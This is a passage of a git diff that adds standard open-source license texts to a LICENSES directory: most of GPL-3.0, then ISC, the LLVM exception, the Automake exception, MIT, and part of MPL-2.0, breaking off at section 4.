+When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
+
+To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.
+
+For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.
+
+Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.
+
+Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS
+
+0. Definitions.
+
+“This License” refers to version 3 of the GNU General Public License.
+
+“Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.
+
+“The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations.
+
+To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work.
+
+A “covered work” means either the unmodified Program or a work based on the Program.
+
+To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.
+
+To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.
+
+1. Source Code.
+The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work.
+
+A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.
+
+The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.
+
+The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.
+
+The Corresponding Source for a work in source code form is that same work.
+
+2. Basic Permissions.
+All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.
+
+You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.
+
+4. Conveying Verbatim Copies.
+You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.
+
+5. Conveying Modified Source Versions.
+You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:
+
+     a) The work must carry prominent notices stating that you modified it, and giving a relevant date.
+
+     b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”.
+
+     c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it.
+
+     d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.
+
+6. Conveying Non-Source Forms.
+You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:
+
+     a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange.
+
+     b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge.
+
+     c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b.
+
+     d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements.
+
+     e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.
+
+A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.
+
+“Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).
+
+The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.
+
+7. Additional Terms.
+“Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.
+
+Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:
+
+     a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or
+
+     b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or
+
+     c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or
+
+     d) Limiting the use for publicity purposes of names of licensors or authors of the material; or
+
+     e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or
+
+     f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.
+
+8. Termination.
+You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.
+
+9. Acceptance Not Required for Having Copies.
+You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.
+
+10. Automatic Licensing of Downstream Recipients.
+Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.
+
+An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.
+
+11. Patents.
+A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”.
+
+A contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.
+
+In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.
+
+A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.
+
+12. No Surrender of Others' Freedom.
+If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.
+
+13. Use with the GNU Affero General Public License.
+Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.
+
+14. Revised Versions of this License.
+The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.
+
+Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.
+
+15. Disclaimer of Warranty.
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. Limitation of Liability.
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+17. Interpretation of Sections 15 and 16.
+If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.
+
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found.
+
+     <one line to give the program's name and a brief idea of what it does.>
+     Copyright (C) <year>  <name of author>
+
+     This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+
+     This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
+
+     You should have received a copy of the GNU General Public License along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:
+
+     <program>  Copyright (C) <year>  <name of author>
+     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+     This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”.
+
+You should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>.
+
+The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.
diff --git a/LICENSES/ISC.txt b/LICENSES/ISC.txt
new file mode 100644
index 0000000000..b9c199c98f
--- /dev/null
+++ b/LICENSES/ISC.txt
@@ -0,0 +1,8 @@
+ISC License:
+
+Copyright (c) 2004-2010 by Internet Systems Consortium, Inc. ("ISC")
+Copyright (c) 1995-2003 by Internet Software Consortium
+
+Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/LICENSES/LLVM-exception.txt b/LICENSES/LLVM-exception.txt
new file mode 100644
index 0000000000..fa4b725a0e
--- /dev/null
+++ b/LICENSES/LLVM-exception.txt
@@ -0,0 +1,15 @@
+---- LLVM Exceptions to the Apache 2.0 License ----
+
+   As an exception, if, as a result of your compiling your source code, portions
+   of this Software are embedded into an Object form of such source code, you
+   may redistribute such embedded portions in such Object form without complying
+   with the conditions of Sections 4(a), 4(b) and 4(d) of the License.
+
+   In addition, if you combine or link compiled forms of this Software with
+   software that is licensed under the GPLv2 ("Combined Software") and if a
+   court of competent jurisdiction determines that the patent provision (Section
+   3), the indemnity provision (Section 9) or other Section of the License
+   conflicts with the conditions of the GPLv2, you may retroactively and
+   prospectively choose to deem waived or otherwise exclude such Section(s) of
+   the License, but only in their entirety and only with respect to the Combined
+   Software.
diff --git a/LICENSES/LicenseRef-Automake-exception-2.0.txt b/LICENSES/LicenseRef-Automake-exception-2.0.txt
new file mode 100644
index 0000000000..e9e1af5bb4
--- /dev/null
+++ b/LICENSES/LicenseRef-Automake-exception-2.0.txt
@@ -0,0 +1 @@
+As a special exception to the GNU General Public License, if you distribute this file as part of a program that contains a configuration script generated by Autoconf, you may include it under the same distribution terms that you use for the rest of that program.
diff --git a/LICENSES/MIT.txt b/LICENSES/MIT.txt
new file mode 100644
index 0000000000..2071b23b0e
--- /dev/null
+++ b/LICENSES/MIT.txt
@@ -0,0 +1,9 @@
+MIT License
+
+Copyright (c) <year> <copyright holders>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/LICENSES/MPL-2.0.txt b/LICENSES/MPL-2.0.txt
new file mode 100644
index 0000000000..6c949eafd4
--- /dev/null
+++ b/LICENSES/MPL-2.0.txt
@@ -0,0 +1,144 @@
+Mozilla Public License Version 2.0
+
+1. Definitions
+
+     1.1. "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns Covered Software.
+
+     1.2. "Contributor Version" means the combination of the Contributions of others (if any) used by a Contributor and that particular Contributor's Contribution.
+
+     1.3. "Contribution" means Covered Software of a particular Contributor.
+
+     1.4. "Covered Software" means Source Code Form to which the initial Contributor has attached the notice in Exhibit A, the Executable Form of such Source Code Form, and Modifications of such Source Code Form, in each case including portions thereof.
+
+     1.5. "Incompatible With Secondary Licenses" means
+
+          (a) that the initial Contributor has attached the notice described in Exhibit B to the Covered Software; or
+
+          (b) that the Covered Software was made available under the terms of version 1.1 or earlier of the License, but not also under the terms of a Secondary License.
+
+     1.6. "Executable Form" means any form of the work other than Source Code Form.
+
+     1.7. "Larger Work" means a work that combines Covered Software with other material, in a separate file or files, that is not Covered Software.
+
+     1.8. "License" means this document.
+
+     1.9. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently, any and all of the rights conveyed by this License.
+
+     1.10. "Modifications" means any of the following:
+
+          (a) any file in Source Code Form that results from an addition to, deletion from, or modification of the contents of Covered Software; or
+
+          (b) any new file in Source Code Form that contains any Covered Software.
+
+     1.11. "Patent Claims" of a Contributor means any patent claim(s), including without limitation, method, process, and apparatus claims, in any patent Licensable by such Contributor that would be infringed, but for the grant of the License, by the making, using, selling, offering for sale, having made, import, or transfer of either its Contributions or its Contributor Version.
+
+     1.12. "Secondary License" means either the GNU General Public License, Version 2.0, the GNU Lesser General Public License, Version 2.1, the GNU Affero General Public License, Version 3.0, or any later versions of those licenses.
+
+     1.13. "Source Code Form" means the form of the work preferred for making modifications.
+
+     1.14. "You" (or "Your") means an individual or a legal entity exercising rights under this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants and Conditions
+
+     2.1. Grants
+     Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+          (a) under intellectual property rights (other than patent or trademark) Licensable by such Contributor to use, reproduce, make available, modify, display, perform, distribute, and otherwise exploit its Contributions, either on an unmodified basis, with Modifications, or as part of a Larger Work; and
+
+          (b) under Patent Claims of such Contributor to make, use, sell, offer for sale, have made, import, and otherwise transfer either its Contributions or its Contributor Version.
+
+     2.2. Effective Date
+     The licenses granted in Section 2.1 with respect to any Contribution become effective for each Contribution on the date the Contributor first distributes such Contribution.
+
+     2.3. Limitations on Grant Scope
+     The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor:
+
+          (a) for any code that a Contributor has removed from Covered Software; or
+
+          (b) for infringements caused by: (i) Your and any other third party's modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or
+
+          (c) under Patent Claims infringed by Covered Software in the absence of its Contributions.
+
+     This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4).
+
+     2.4. Subsequent Licenses
+     No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3).
+
+     2.5. Representation
+     Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License.
+
+     2.6. Fair Use
+     This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents.
+
+     2.7. Conditions
+     Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1.
+
+3. Responsibilities
+
+     3.1. Distribution of Source Form
+     All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You may not attempt to alter or restrict the recipients' rights in the Source Code Form.
+
+     3.2. Distribution of Executable Form
+     If You distribute Covered Software in Executable Form then:
+
+          (a) such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and
+
+          (b) You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients' rights in the Source Code Form under this License.
+
+     3.3. Distribution of a Larger Work
+     You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s).
+
+     3.4. Notices
+     You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies.
+
+     3.5. Application of Additional Terms
+     You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction.
+
+4. Inability to Comply Due to Statute or Regulation
